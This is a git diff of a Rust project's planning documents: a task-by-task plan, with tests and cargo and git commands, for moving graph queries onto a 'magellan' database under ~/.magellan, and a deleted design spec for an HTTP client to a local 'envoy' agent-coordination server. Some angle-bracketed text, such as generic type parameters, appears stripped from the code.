`docs/superpowers/specs/2026-05-22-forge-graph-magellan-unification-design.md` - ---- - -## File Map - -| Action | File | What changes | -|--------|------|-------------| -| Modify | `forge_core/src/storage/mod.rs` | Add `default_db_path`, change `UnifiedGraphStore::open` path | -| Modify | `forge_core/src/lib.rs` | Add `db_path`/`db_dir` to `ForgeBuilder`, update `build()` | -| Modify | `forge_core/src/graph/mod.rs` | Rewrite 5 methods, move `ImpactedSymbol`, add test helper, remove fallbacks | -| Delete | `forge_core/src/graph/queries.rs` | Entire file removed | - ---- - -## Task 1: Add `default_db_path` to storage - -**Files:** -- Modify: `forge_core/src/storage/mod.rs` - -- [ ] **Step 1: Write the failing test** - -Add at the bottom of `forge_core/src/storage/mod.rs`, inside `#[cfg(test)]`: - -```rust -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn test_default_db_path_uses_home_dot_magellan() { - let project = std::path::Path::new("/home/user/Projects/my-cool-project"); - let db = default_db_path(project); - assert!(db.to_string_lossy().contains(".magellan")); - assert!(db.to_string_lossy().ends_with("my-cool-project.db")); - } - - #[test] - fn test_default_db_path_fallback_stem() { - // Path with no file_name component should not panic - let project = std::path::Path::new("/"); - let db = default_db_path(project); - assert!(db.to_string_lossy().ends_with(".magellan/graph.db")); - } -} -``` - -- [ ] **Step 2: Run tests to confirm they fail** - -```bash -cd /home/feanor/Projects/forge -cargo test -p forge-core storage::tests 2>&1 | tail -20 -``` - -Expected: FAIL with `cannot find function 'default_db_path'` - -- [ ] **Step 3: Add `default_db_path` to `storage/mod.rs`** - -Add this function immediately before the `BackendKind` enum (around line 44): - -```rust -/// Resolves the default magellan database path for a project root. -/// -/// Returns `~/.magellan/.db` where `` is the last component -/// of `project_root`. Falls back to `~/.magellan/graph.db` if the stem -/// cannot be determined. -pub fn default_db_path(project_root: &std::path::Path) -> std::path::PathBuf { - let stem = project_root - .file_name() - .and_then(|n| n.to_str()) - .unwrap_or("graph"); - let home = std::env::var("HOME").unwrap_or_else(|_| "/tmp".to_string()); - std::path::PathBuf::from(home) - .join(".magellan") - .join(format!("{}.db", stem)) -} -``` - -- [ ] **Step 4: Run tests to confirm they pass** - -```bash -cargo test -p forge-core storage::tests 2>&1 | tail -10 -``` - -Expected: `test storage::tests::test_default_db_path_uses_home_dot_magellan ... ok` - -- [ ] **Step 5: Commit** - -```bash -git add forge_core/src/storage/mod.rs -git commit -m "feat(forge-core): add default_db_path resolving ~/.magellan/.db" -``` - ---- - -## Task 2: Add `db_path`/`db_dir` overrides to `ForgeBuilder` - -**Files:** -- Modify: `forge_core/src/lib.rs` - -- [ ] **Step 1: Write the failing test** - -In `forge_core/src/lib.rs`, add inside the existing `#[cfg(test)] mod tests` block: - -```rust -#[tokio::test] -async fn test_forge_builder_db_path_override() { - let temp_dir = tempfile::tempdir().unwrap(); - let custom_db = temp_dir.path().join("custom.db"); - - let forge = ForgeBuilder::new() - .path(temp_dir.path()) - .db_path(custom_db.clone()) - .build() - .await - .unwrap(); - - assert_eq!(forge.store.db_path, custom_db); -} - -#[tokio::test] -async fn test_forge_builder_db_dir_override() { - let temp_dir = tempfile::tempdir().unwrap(); - let db_dir = temp_dir.path().join("custom_dir"); - std::fs::create_dir_all(&db_dir).unwrap(); - - let project_dir = temp_dir.path().join("my-project"); - std::fs::create_dir_all(&project_dir).unwrap(); - - let forge = ForgeBuilder::new() - .path(&project_dir) - .db_dir(db_dir.clone()) - .build() - .await - .unwrap(); - - assert_eq!(forge.store.db_path, db_dir.join("my-project.db")); -} -``` - -- [ ] **Step 2: Run tests to confirm they fail** - -```bash -cargo test -p forge-core "test_forge_builder_db_path_override\|test_forge_builder_db_dir_override" 2>&1 | tail -20 -``` - -Expected: FAIL with `no method named 'db_path' found for struct 'ForgeBuilder'` - -- [ ] **Step 3: Add fields and methods to `ForgeBuilder`** - -Find the `ForgeBuilder` struct definition (around line 187) and replace it: - -```rust -#[derive(Clone, Default)] -pub struct ForgeBuilder { - path: Option, - backend_kind: Option, - db_path: Option, - db_dir: Option, -} -``` - -Add these two builder methods after the existing `backend_kind` method: - -```rust -/// Sets an explicit database path, overriding the default ~/.magellan/.db. -pub fn db_path(self, path: std::path::PathBuf) -> Self { - Self { - db_path: Some(path), - ..self - } -} - -/// Sets the database directory; stem is still derived from the project root. -pub fn db_dir(self, dir: std::path::PathBuf) -> Self { - Self { - db_dir: Some(dir), - ..self - } -} -``` - -- [ ] **Step 4: Update `ForgeBuilder::build()` to resolve DB path** - -Replace the existing `build()` method body: - -```rust -pub async fn build(self) -> anyhow::Result { - let path = self.path.ok_or_else(|| anyhow!("path is required"))?; - let backend = self.backend_kind.unwrap_or_default(); - - let resolved_db = if let Some(explicit) = self.db_path { - explicit - } else if let Some(dir) = self.db_dir { - let stem = path - .file_name() - .and_then(|n| n.to_str()) - .unwrap_or("graph"); - dir.join(format!("{}.db", stem)) - } else { - storage::default_db_path(&path) - }; - - let store = std::sync::Arc::new( - storage::UnifiedGraphStore::open_with_path(&path, &resolved_db, backend).await?, - ); - - Ok(Forge { store }) -} -``` - -- [ ] **Step 5: Run tests to confirm they pass** - -```bash -cargo test -p forge-core "test_forge_builder_db_path_override\|test_forge_builder_db_dir_override" 2>&1 | tail -10 -``` - -Expected: both tests `ok` - -- [ ] **Step 6: Commit** - -```bash -git add forge_core/src/lib.rs -git commit -m "feat(forge-core): ForgeBuilder db_path/db_dir overrides for unified DB path" -``` - ---- - -## Task 3: Fix test isolation β€” migrate all tests to `ForgeBuilder` with explicit `db_path` - -All existing tests call `Forge::open(temp_dir.path())` which after Task 4 will resolve to `~/.magellan/.db`, polluting the global directory. Fix all tests now so they use an explicit `db_path` inside the tempdir. - -**Files:** -- Modify: `forge_core/src/lib.rs` -- Modify: `forge_core/src/graph/mod.rs` - -- [ ] **Step 1: Add `test_forge` helper in `graph/mod.rs` test module** - -At the bottom of `forge_core/src/graph/mod.rs`, inside `#[cfg(test)] mod tests`, add: - -```rust -/// Creates a Forge instance for tests with the DB inside the given directory. -/// Never writes to ~/.magellan/. -async fn test_forge(dir: &std::path::Path) -> crate::Forge { - crate::ForgeBuilder::new() - .path(dir) - .db_path(dir.join("test-graph.db")) - .build() - .await - .unwrap() -} -``` - -- [ ] **Step 2: Update all tests in `graph/mod.rs` to use `test_forge`** - -Replace every occurrence of: -```rust -let store = Arc::new( - UnifiedGraphStore::open(temp_dir.path(), BackendKind::SQLite) - .await - .unwrap(), -); -let module = GraphModule::new(store); -``` - -with: -```rust -let forge = test_forge(temp_dir.path()).await; -let module = forge.graph(); -``` - -There are 5 such occurrences (one per test). Also replace `GraphModule::new(Arc::clone(&store))` patterns. - -- [ ] **Step 3: Update tests in `lib.rs` to use `ForgeBuilder` with `db_path`** - -Replace every occurrence of: -```rust -Forge::open(temp_dir.path()).await.unwrap() -``` - -with: -```rust -ForgeBuilder::new() - .path(temp_dir.path()) - .db_path(temp_dir.path().join("test-graph.db")) - .build() - .await - .unwrap() -``` - -Also replace the `UnifiedGraphStore::open(temp_dir.path(), BackendKind::default())` pattern in `lib.rs` tests: -```rust -let store = std::sync::Arc::new( - storage::UnifiedGraphStore::open_with_path( - temp_dir.path(), - temp_dir.path().join("test-graph.db"), - BackendKind::default(), - ) - .await - .unwrap(), -); -``` - -- [ ] **Step 4: Run full test suite to confirm all tests pass** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -20 -``` - -Expected: all tests pass (same count as before) - -- [ ] **Step 5: Commit** - -```bash -git add forge_core/src/graph/mod.rs forge_core/src/lib.rs -git commit -m "test(forge-core): migrate tests to ForgeBuilder with explicit db_path" -``` - ---- - -## Task 4: Update `UnifiedGraphStore::open` to use `default_db_path` - -With tests now using explicit `db_path`, it is safe to change the default resolution. - -**Files:** -- Modify: `forge_core/src/storage/mod.rs` - -- [ ] **Step 1: Replace the path derivation in `UnifiedGraphStore::open`** - -Find this block (around line 150): -```rust -let db_path = codebase - .join(".forge") - .join(backend_kind.default_filename()); -``` - -Replace with: -```rust -let db_path = default_db_path(codebase); -``` - -- [ ] **Step 2: Run tests to confirm nothing broke** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -20 -``` - -Expected: same pass count as before (tests use explicit `db_path` so they don't hit this code path) - -- [ ] **Step 3: Commit** - -```bash -git add forge_core/src/storage/mod.rs -git commit -m "feat(forge-core): UnifiedGraphStore::open now resolves ~/.magellan/.db" -``` - ---- - -## Task 5: Rewrite `find_symbol` with `search_symbols_by_name` - -**Files:** -- Modify: `forge_core/src/graph/mod.rs` - -- [ ] **Step 1: Write the failing test** - -In `graph/mod.rs` test module, add: - -```rust -#[tokio::test] -async fn test_find_symbol_returns_empty_on_missing_db() { - let temp_dir = tempfile::tempdir().unwrap(); - // db_path points to a non-existent file - let forge = ForgeBuilder::new() - .path(temp_dir.path()) - .db_path(temp_dir.path().join("nonexistent.db")) - .build() - .await - .unwrap(); - let module = forge.graph(); - let result = module.find_symbol("anything").await.unwrap(); - assert_eq!(result, vec![]); -} -``` - -- [ ] **Step 2: Run test to confirm it passes (it's a guard test)** - -```bash -cargo test -p forge-core test_find_symbol_returns_empty_on_missing_db 2>&1 | tail -5 -``` - -Expected: `ok` (the DB doesn't exist so early return kicks in) - -- [ ] **Step 3: Replace `find_symbol` implementation** - -In `forge_core/src/graph/mod.rs`, replace the entire `find_symbol` method with: - -```rust -pub async fn find_symbol(&self, name: &str) -> Result> { - use magellan::CodeGraph; - use std::sync::Arc; - - let db_path = &self.store.db_path; - if !db_path.exists() { - return Ok(Vec::new()); - } - - let graph = CodeGraph::open(db_path).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Failed to open magellan graph: {}", e)) - })?; - - let results = graph.search_symbols_by_name(name).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Symbol search failed: {}", e)) - })?; - - Ok(results - .into_iter() - .map(|r| Symbol { - id: SymbolId(r.entity_id), - name: Arc::from(r.name.clone()), - fully_qualified_name: Arc::from(r.name.clone()), - kind: parse_symbol_kind_str(&r.kind), - language: map_magellan_language(std::path::Path::new(&r.file_path)), - location: Location { - file_path: std::path::PathBuf::from(&r.file_path), - byte_start: r.byte_start as u32, - byte_end: r.byte_end as u32, - line_number: 0, - }, - parent_id: None, - metadata: serde_json::Value::Null, - }) - .collect()) -} -``` - -Also add this private helper at the bottom of `graph/mod.rs` (outside `impl GraphModule`): - -```rust -fn parse_symbol_kind_str(kind: &str) -> crate::types::SymbolKind { - use crate::types::SymbolKind; - match kind { - "Function" | "function" | "fn" => SymbolKind::Function, - "Method" | "method" => SymbolKind::Method, - "Struct" | "struct" => SymbolKind::Struct, - "Enum" | "enum" => SymbolKind::Enum, - "Trait" | "trait" => SymbolKind::Trait, - "Impl" | "impl" => SymbolKind::Impl, - "Module" | "module" | "mod" => SymbolKind::Module, - "TypeAlias" | "type" => SymbolKind::TypeAlias, - "Constant" | "const" => SymbolKind::Constant, - "Static" | "static" => SymbolKind::Static, - "Macro" | "macro" => SymbolKind::Macro, - _ => SymbolKind::Function, - } -} -``` - -- [ ] **Step 4: Remove cfg guards from `find_symbol` and `map_magellan_language`** - -The old `find_symbol` had two `cfg` blocks β€” delete them (new implementation has none). - -The `map_magellan_language` helper at the bottom of `graph/mod.rs` is currently wrapped in `#[cfg(feature = "magellan")]`. Remove that gate so the function is always compiled: - -```rust -// Before: -#[cfg(feature = "magellan")] -fn map_magellan_language(file_path: &std::path::Path) -> crate::types::Language { ... } - -// After (remove the cfg attribute): -fn map_magellan_language(file_path: &std::path::Path) -> crate::types::Language { ... } -``` - -- [ ] **Step 5: Run tests** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -20 -``` - -Expected: all tests pass - -- [ ] **Step 6: Commit** - -```bash -git add forge_core/src/graph/mod.rs -git commit -m "feat(forge-core): find_symbol uses magellan search_symbols_by_name (indexed, O(1))" -``` - ---- - -## Task 6: Rewrite `references` with `cross_file_references_to` - -**Files:** -- Modify: `forge_core/src/graph/mod.rs` - -- [ ] **Step 1: Write the failing test** - -```rust -#[tokio::test] -async fn test_references_returns_empty_on_missing_db() { - let temp_dir = tempfile::tempdir().unwrap(); - let forge = ForgeBuilder::new() - .path(temp_dir.path()) - .db_path(temp_dir.path().join("nonexistent.db")) - .build() - .await - .unwrap(); - let module = forge.graph(); - let result = module.references("any_symbol").await.unwrap(); - assert_eq!(result, vec![]); -} -``` - -- [ ] **Step 2: Run to confirm test passes (guard test)** - -```bash -cargo test -p forge-core test_references_returns_empty_on_missing_db 2>&1 | tail -5 -``` - -Expected: `ok` - -- [ ] **Step 3: Replace `references` implementation** - -Replace the entire `references` method: - -```rust -pub async fn references(&self, name: &str) -> Result> { - use magellan::CodeGraph; - - let db_path = &self.store.db_path; - if !db_path.exists() { - return Ok(Vec::new()); - } - - let graph = CodeGraph::open(db_path).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Failed to open magellan graph: {}", e)) - })?; - - let cross_refs = magellan::cross_file_references_to(&graph, name).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Reference query failed: {}", e)) - })?; - - Ok(cross_refs - .into_iter() - .map(|r| Reference { - from: SymbolId(0), - to: SymbolId(0), - from_name: Some(r.from_symbol_id), - to_name: Some(r.to_symbol_id), - kind: ReferenceKind::TypeReference, - location: Location { - file_path: std::path::PathBuf::from(&r.file_path), - byte_start: r.byte_start as u32, - byte_end: r.byte_end as u32, - line_number: r.line_number, - }, - }) - .collect()) -} -``` - -Note: `magellan::cross_file_references_to` is exported from magellan's crate root (`pub use graph::query::cross_file_references_to`). Call it as a free function. - -- [ ] **Step 4: Remove all `#[cfg]` guards and the old fallback arm from `references`** - -The old method had `#[cfg(feature = "magellan")]` and `#[cfg(not(...))]` blocks. Delete them β€” the new method has no cfg guards. - -- [ ] **Step 5: Run tests** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -20 -``` - -Expected: all tests pass - -- [ ] **Step 6: Commit** - -```bash -git add forge_core/src/graph/mod.rs -git commit -m "feat(forge-core): references uses magellan cross_file_references_to" -``` - ---- - -## Task 7: Rewrite `callers_of` β€” remove cfg fallback - -The existing `callers_of` already calls `magellan::CodeGraph::callers_of_symbol` inside `#[cfg(feature = "magellan")]`. The work here is to remove the `#[cfg]` guards and unify to a single code path, using the correct DB path. - -**Files:** -- Modify: `forge_core/src/graph/mod.rs` - -- [ ] **Step 1: Write the failing test** - -```rust -#[tokio::test] -async fn test_callers_of_returns_empty_on_missing_db() { - let temp_dir = tempfile::tempdir().unwrap(); - let forge = ForgeBuilder::new() - .path(temp_dir.path()) - .db_path(temp_dir.path().join("nonexistent.db")) - .build() - .await - .unwrap(); - let module = forge.graph(); - let result = module.callers_of("any_fn").await.unwrap(); - assert_eq!(result, vec![]); -} -``` - -- [ ] **Step 2: Run to confirm test passes** - -```bash -cargo test -p forge-core test_callers_of_returns_empty_on_missing_db 2>&1 | tail -5 -``` - -Expected: `ok` - -- [ ] **Step 3: Replace `callers_of` implementation** - -Replace the entire `callers_of` method (removes both `cfg` arms and the `GraphQueryEngine` fallback): - -```rust -pub async fn callers_of(&self, name: &str) -> Result> { - use magellan::CodeGraph; - - let db_path = &self.store.db_path; - if !db_path.exists() { - return Ok(Vec::new()); - } - - let mut graph = CodeGraph::open(db_path).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Failed to open magellan graph: {}", e)) - })?; - - let file_nodes = graph.all_file_nodes_readonly().map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Failed to list files: {}", e)) - })?; - - let mut callers = Vec::new(); - for (file_path, _) in file_nodes { - if let Ok(call_facts) = graph.callers_of_symbol(&file_path, name) { - for fact in call_facts { - callers.push(Reference { - from: SymbolId(0), - to: SymbolId(0), - from_name: Some(fact.caller.clone()), - to_name: Some(fact.callee.clone()), - kind: ReferenceKind::Call, - location: Location { - file_path: std::path::PathBuf::from(&fact.file_path), - byte_start: fact.byte_start as u32, - byte_end: fact.byte_end as u32, - line_number: fact.start_line, - }, - }); - } - } - } - - Ok(callers) -} -``` - -- [ ] **Step 4: Run tests** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -20 -``` - -Expected: all tests pass - -- [ ] **Step 5: Commit** - -```bash -git add forge_core/src/graph/mod.rs -git commit -m "feat(forge-core): callers_of unified to single magellan code path" -``` - ---- - -## Task 8: Implement `cycles()` with `condense_call_graph` - -**Files:** -- Modify: `forge_core/src/graph/mod.rs` - -- [ ] **Step 1: Write the failing test** - -```rust -#[tokio::test] -async fn test_cycles_returns_empty_when_db_absent() { - let temp_dir = tempfile::tempdir().unwrap(); - let forge = ForgeBuilder::new() - .path(temp_dir.path()) - .db_path(temp_dir.path().join("nonexistent.db")) - .build() - .await - .unwrap(); - let module = forge.graph(); - let result = module.cycles().await.unwrap(); - assert_eq!(result, vec![]); -} -``` - -- [ ] **Step 2: Run to confirm test passes** - -```bash -cargo test -p forge-core test_cycles_returns_empty_when_db_absent 2>&1 | tail -5 -``` - -Expected: `ok` - -- [ ] **Step 3: Replace `cycles()` implementation** - -Replace the `cycles()` method (currently returns `Ok(Vec::new())`): - -```rust -pub async fn cycles(&self) -> Result> { - use magellan::CodeGraph; - - let db_path = &self.store.db_path; - if !db_path.exists() { - return Ok(Vec::new()); - } - - let graph = CodeGraph::open(db_path).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Failed to open magellan graph: {}", e)) - })?; - - let condensation = graph.condense_call_graph().map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Condensation failed: {}", e)) - })?; - - // Supernodes with >1 member are SCCs β€” actual cycles in the call graph - let cycles = condensation - .graph - .supernodes - .into_iter() - .filter(|sn| sn.members.len() > 1) - .map(|sn| Cycle { - members: sn.members.into_iter().map(|m| SymbolId(m.id as i64)).collect(), - }) - .collect(); - - Ok(cycles) -} -``` - -- [ ] **Step 4: Run tests** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -20 -``` - -Expected: all tests pass - -- [ ] **Step 5: Commit** - -```bash -git add forge_core/src/graph/mod.rs -git commit -m "feat(forge-core): cycles() now delegates to magellan condense_call_graph" -``` - ---- - -## Task 9: Fix `impact_analysis` and move `ImpactedSymbol` inline - -**Files:** -- Modify: `forge_core/src/graph/mod.rs` - -- [ ] **Step 1: Move `ImpactedSymbol` struct into `graph/mod.rs`** - -Add this struct to `graph/mod.rs` (just before `impl GraphModule`): - -```rust -/// Symbol impacted by a change, with its hop distance. -#[derive(Debug, Clone)] -pub struct ImpactedSymbol { - pub symbol_id: i64, - pub name: String, - pub kind: String, - pub file_path: String, - pub hop_distance: u32, - pub edge_type: String, -} -``` - -- [ ] **Step 2: Replace `impact_analysis` implementation** - -Replace the `impact_analysis` method (currently calls `GraphQueryEngine::find_impacted_symbols`): - -```rust -pub async fn impact_analysis( - &self, - symbol_name: &str, - max_hops: Option, -) -> Result> { - use magellan::CodeGraph; - use std::collections::{HashMap, HashSet, VecDeque}; - - let db_path = &self.store.db_path; - if !db_path.exists() { - return Ok(Vec::new()); - } - - let mut graph = CodeGraph::open(db_path).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Failed to open magellan graph: {}", e)) - })?; - - let hops = max_hops.unwrap_or(2); - - // Seed: find the starting symbol - let seeds = graph.search_symbols_by_name(symbol_name).map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Symbol search failed: {}", e)) - })?; - - if seeds.is_empty() { - return Ok(Vec::new()); - } - - // BFS over callers-of to find what would be impacted - let file_nodes = graph.all_file_nodes_readonly().map_err(|e| { - crate::error::ForgeError::DatabaseError(format!("Failed to list files: {}", e)) - })?; - - // Build call map: callee_name -> Vec<(caller_name, file, byte_start, byte_end, line)> - let mut callee_to_callers: HashMap> = - HashMap::new(); - for (file_path, _) in &file_nodes { - if let Ok(calls) = graph.callers_of_symbol(file_path, symbol_name) { - for c in calls { - callee_to_callers - .entry(c.callee.clone()) - .or_default() - .push(( - c.caller.clone(), - c.file_path.clone(), - c.byte_start, - c.byte_end, - c.start_line, - )); - } - } - } - - // BFS from the seed symbol upward through callers - let mut visited: HashSet = HashSet::new(); - let mut queue: VecDeque<(String, u32)> = VecDeque::new(); - let mut results: Vec = Vec::new(); - - for seed in &seeds { - queue.push_back((seed.name.clone(), 0)); - visited.insert(seed.name.clone()); - } - - while let Some((sym, depth)) = queue.pop_front() { - if depth >= hops { - continue; - } - if let Some(callers) = callee_to_callers.get(&sym) { - for (caller_name, file_path, _bs, _be, _line) in callers { - if visited.insert(caller_name.clone()) { - results.push(ImpactedSymbol { - symbol_id: 0, - name: caller_name.clone(), - kind: "Function".to_string(), - file_path: file_path.clone(), - hop_distance: depth + 1, - edge_type: "call".to_string(), - }); - queue.push_back((caller_name.clone(), depth + 1)); - } - } - } - } - - Ok(results) -} -``` - -- [ ] **Step 3: Update the import in `graph/mod.rs` to remove `queries::ImpactedSymbol`** - -Find `use queries::GraphQueryEngine;` and any `use queries::ImpactedSymbol` β€” remove both. The struct is now inline. - -- [ ] **Step 4: Run tests** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -20 -``` - -Expected: all tests pass - -- [ ] **Step 5: Commit** - -```bash -git add forge_core/src/graph/mod.rs -git commit -m "feat(forge-core): impact_analysis replaced with magellan BFS, ImpactedSymbol moved inline" -``` - ---- - -## Task 10: Delete `graph/queries.rs` and clean up all cfg guards - -**Files:** -- Delete: `forge_core/src/graph/queries.rs` -- Modify: `forge_core/src/graph/mod.rs` - -- [ ] **Step 1: Remove `pub mod queries;` from `graph/mod.rs`** - -Find and delete this line near the top of `graph/mod.rs`: -```rust -pub mod queries; -``` - -- [ ] **Step 2: Delete `graph/queries.rs`** - -```bash -rm /home/feanor/Projects/forge/forge_core/src/graph/queries.rs -``` - -- [ ] **Step 3: Remove remaining `#[cfg]` guards from `graph/mod.rs`** - -Search for any remaining `#[cfg(feature = "magellan")]` and `#[cfg(not(feature = "magellan"))]` blocks in `graph/mod.rs`: - -```bash -grep -n "cfg(feature" /home/feanor/Projects/forge/forge_core/src/graph/mod.rs -``` - -For each found: -- If it wraps the `index_references_recursive` helper and `index()` method: keep the `#[cfg(feature = "magellan")]` on `index_references_recursive` since it uses `magellan::CodeGraph` directly β€” or remove cfg and unconditionally use magellan since the feature is always on. -- Delete all `#[cfg(not(feature = "magellan"))]` blocks entirely. - -- [ ] **Step 4: Attempt to build** - -```bash -cargo build -p forge-core 2>&1 | head -40 -``` - -Fix any remaining compilation errors (likely unused imports from `queries`). - -- [ ] **Step 5: Run full test suite** - -```bash -cargo test -p forge-core --lib 2>&1 | tail -30 -``` - -Expected: same or higher pass count as before - -- [ ] **Step 6: Run clippy** - -```bash -cargo clippy -p forge-core -- -D warnings 2>&1 | head -40 -``` - -Fix any warnings before continuing. - -- [ ] **Step 7: Commit** - -```bash -git add forge_core/src/graph/mod.rs -git rm forge_core/src/graph/queries.rs -git commit -m "refactor(forge-core): delete GraphQueryEngine, remove all cfg fallback arms" -``` - ---- - -## Task 11: Final verification - -- [ ] **Step 1: Run full test suite** - -```bash -cargo test -p forge-core 2>&1 | tail -30 -``` - -Expected: all tests pass, no failures - -- [ ] **Step 2: Run clippy** - -```bash -cargo clippy -p forge-core -- -D warnings 2>&1 -``` - -Expected: no warnings - -- [ ] **Step 3: Confirm `queries.rs` is gone** - -```bash -ls forge_core/src/graph/ -``` - -Expected: `mod.rs` only (no `queries.rs`) - -- [ ] **Step 4: Confirm no cfg fallback arms remain in graph module** - -```bash -grep -n "cfg(not(feature" forge_core/src/graph/mod.rs -``` - -Expected: no output - -- [ ] **Step 5: Confirm DB path resolution** - -```bash -cargo test -p forge-core storage::tests 2>&1 | tail -10 -``` - -Expected: `test_default_db_path_uses_home_dot_magellan ... ok` - -- [ ] **Step 6: Commit verification note** - -```bash -git commit --allow-empty -m "chore(forge-core): magellan unification complete β€” queries.rs removed, cfg fallbacks gone" -``` diff --git a/docs/superpowers/specs/2026-05-13-envoy-atheneum-integration-design.md b/docs/superpowers/specs/2026-05-13-envoy-atheneum-integration-design.md deleted file mode 100644 index d2f5062..0000000 --- a/docs/superpowers/specs/2026-05-13-envoy-atheneum-integration-design.md +++ /dev/null @@ -1,306 +0,0 @@ -# Envoy/Atheneum Integration Design - -**Date:** 2026-05-13 -**Status:** Approved -**Scope:** forge_agent crate - -## Context - -Forge needs multi-agent coordination. Envoy (HTTP+JSON server at 127.0.0.1:9876) provides agent registry, messaging, handoffs, and atheneum knowledge graph. This spec integrates envoy into forge following the same pattern as the LLM provider: optional via config, feature-gated, `Option` in Agent struct. - -## Design Decisions - -| Decision | Choice | Rationale | -|----------|--------|-----------| -| Required or optional | Required when configured | Fail clearly if envoy is down, no silent data loss | -| Transport | HTTP client (reqwest) | Already a dependency, no new crates, simple REST calls | -| Architecture | Module mirror of `llm/` | Validated pattern: one module, one config, one feature flag | -| Discovery storage | Auto-store in agent loop | After observe/plan phases, symbols become atheneum discoveries | -| Registration | Explicit `connect_envoy()` call | No hidden network calls in constructor | -| Disconnect | Best-effort on Drop | Fire-and-forget DELETE, ignore errors during shutdown | - -## Files to Create - -| File | Purpose | -|------|---------| -| `forge_agent/src/envoy/mod.rs` | EnvoyClient, EnvoyError, MockEnvoyClient, all HTTP methods | -| `forge_agent/src/envoy/config.rs` | EnvoyConfig, TOML parsing for `[envoy]` section | - -## Files to Modify - -| File | Change | -|------|--------| -| `forge_agent/Cargo.toml` | Add `envoy` feature flag | -| `forge_agent/src/lib.rs` | Add `pub mod envoy;`, add `envoy: Option` to Agent, add `with_envoy()` and `connect_envoy()` | -| `forge_agent/src/loop.rs` | Auto-store discoveries after observe/plan phases | - -## Feature Flag - -```toml -[features] -envoy = ["dep:reqwest"] -``` - -Shares reqwest with llm-* features. No new dependencies. - -## Config Format - -In `.forge.toml`: - -```toml -[envoy] -url = "http://127.0.0.1:9876" # optional, default shown -agent_name = "forge" # optional, default shown -``` - -No `[envoy]` section means no envoy integration. EnvoyConfig parsed alongside LlmConfig from the same file. - -```rust -pub struct EnvoyConfig { - pub url: String, - pub agent_name: String, -} -``` - -Parsed via `EnvoyConfig::from_file(path)` and `EnvoyConfig::parse(toml_str)`, same pattern as `LlmConfig`. - -## EnvoyError - -```rust -pub enum EnvoyError { - ConnectionFailed(String), // envoy down or unreachable - RequestFailed(String), // HTTP error, non-2xx response - ParseFailed(String), // malformed JSON response - NotConfigured, // called envoy method without envoy configured - RateLimited, // 429 from envoy -} -``` - -No silent fallback. If envoy is configured and a call fails, the error propagates. - -## EnvoyClient - -```rust -pub struct EnvoyClient { - url: String, - agent_id: Mutex>, // set after register() - agent_name: String, - client: reqwest::Client, -} -``` - -reqwest::Client is reused across calls for connection pooling. agent_id is Mutex> because register() is async and mutates shared state. - -### Constructor - -```rust -pub fn new(config: EnvoyConfig) -> Self -``` - -Creates the reqwest client and stores config. Does not connect. - -### Lifecycle Methods - -```rust -pub async fn register(&self) -> Result -// POST /agents { "name": agent_name, "kind": "forge" } -// Stores returned agent_id in self.agent_id -// Returns the agent_id - -pub async fn disconnect(&self) -> Result<(), EnvoyError> -// DELETE /agents/{agent_id} -// Clears agent_id -``` - -### Messaging Methods - -```rust -pub async fn send_message(&self, to: &str, body: &str) -> Result<(), EnvoyError> -// POST /messages { "type": "direct", "from": agent_id, "to": to, "parts": [{"text": body}] } - -pub async fn poll_messages(&self, limit: Option) -> Result, EnvoyError> -// GET /messages?to={agent_id}&limit={limit} -// Returns deserialized message list - -pub async fn ack_message(&self, message_id: &str) -> Result<(), EnvoyError> -// POST /messages/{message_id}/ack -``` - -EnvoyMessage is a flat struct mirroring envoy's MessageEnvelope: - -```rust -pub struct EnvoyMessage { - pub message_id: String, - pub msg_type: String, - pub from: String, - pub to: String, - pub timestamp: String, - pub parts: Vec, -} - -pub struct EnvoyPart { - pub text: Option, - pub data: Option, -} -``` - -### Atheneum Methods - -```rust -pub async fn store_discovery( - &self, - discovery_type: &str, // "Symbol", "CFG", "Issue", "Pattern" - target: &str, // symbol name, file path, etc. - metadata: serde_json::Value, -) -> Result -// POST /atheneum/discoveries { "agent": agent_name, "discovery_type": ..., "target": ..., "metadata": ... } -// Returns discovery_id - -pub async fn query_knowledge(&self, target: &str) -> Result -// GET /atheneum/knowledge?target={target} -// Returns aggregated knowledge for the target -``` - -KnowledgeResponse mirrors envoy's response: - -```rust -pub struct KnowledgeResponse { - pub target: String, - pub discovery_count: usize, - pub discoveries: Vec, - pub handoff_count: usize, - pub handoffs: Vec, -} - -pub struct DiscoveryData { - pub id: i64, - pub agent: String, - pub discovery_type: String, - pub target: String, - pub metadata: serde_json::Value, -} - -pub struct HandoffData { - pub id: i64, - pub from_agent: String, - pub to_agent: String, - pub manifest: serde_json::Value, -} -``` - -### Handoff Methods - -```rust -pub async fn get_pending_handoff(&self) -> Result, EnvoyError> -// GET /atheneum/handoffs/pending?agent={agent_name} -// Returns None if no pending handoff - -pub async fn claim_handoff(&self, handoff_id: i64) -> Result<(), EnvoyError> -// POST /atheneum/handoffs/{handoff_id}/claim { "agent": agent_name } -``` - -## Agent Integration - -### Agent Struct - -```rust -pub struct Agent { - codebase_path: PathBuf, - forge: Option, - llm: Option>, - envoy: Option, -} -``` - -### Agent::new() - -Loads envoy config from `.forge.toml`. If `[envoy]` section exists, creates an EnvoyClient. The client is not connected yet. - -```rust -let envoy = EnvoyConfig::from_file(&config_path)? - .map(|c| EnvoyClient::new(c)); -``` - -### Builder Method - -```rust -pub fn with_envoy(mut self, client: EnvoyClient) -> Self -``` - -### Connection - -```rust -pub async fn connect_envoy(&self) -> Result -``` - -Explicit call. Registers the agent with envoy, returns agent_id. Fails if envoy is unreachable. - -### Auto-Disconnect - -EnvoyClient implements Drop that fires a best-effort `DELETE /agents/{id}`. Uses `std::thread::spawn` to avoid async in Drop. Ignores all errors. - -### Discovery 